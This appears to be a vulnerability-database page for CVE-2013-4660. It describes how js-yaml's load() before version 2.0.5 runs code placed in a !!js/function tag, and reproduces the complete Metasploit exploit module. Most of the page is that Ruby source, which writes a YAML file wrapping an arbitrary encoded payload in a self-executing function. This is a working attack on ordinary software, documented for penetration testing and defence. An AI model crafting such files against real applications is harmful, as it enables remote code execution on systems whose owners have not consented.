Nodejs js-yaml load() Code Execution

2013-09-16T18:37:16
ID MSF:EXPLOIT/MULTI/FILEFORMAT/NODEJS_JS_YAML_LOAD_CODE_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module can be used to abuse node.js applications that parse user-supplied YAML input using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle the unsafe !!js/function tag, allowing to specify a self-executing function which results on execution of arbitrary javascript code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Nodejs js-yaml load() Code Execution',
      'Description'    =&gt; %q{
        This module can be used to abuse node.js applications that parse user-supplied YAML input
        using the load() function from the 'js-yaml' package &lt; 2.0.5, which doesn't properly handle
        the unsafe !!js/function tag, allowing to specify a self-executing function which results
        on execution of arbitrary javascript code.
      },
      'Author'         =&gt;
        [
          'Neal Poole', # Vulnerability discovery
          'joev' # Metasploit module
        ],
      'License'        =&gt; MSF_LICENSE,
      'References'  =&gt;
        [
          ['CVE', '2013-4660'],
          ['OSVDB', '94656'],
          ['BID', '60867'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
      'Platform'       =&gt; 'nodejs',
      'Arch'           =&gt; ARCH_NODEJS,
      'Privileged'     =&gt; false,
      'Targets'        =&gt;	[['Automatic', {}]],
      'DisclosureDate' =&gt; 'Jun 28 2013',
      'DefaultTarget'  =&gt; 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ])
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function &gt;\n  (function(){ #{p} })();")
  end
end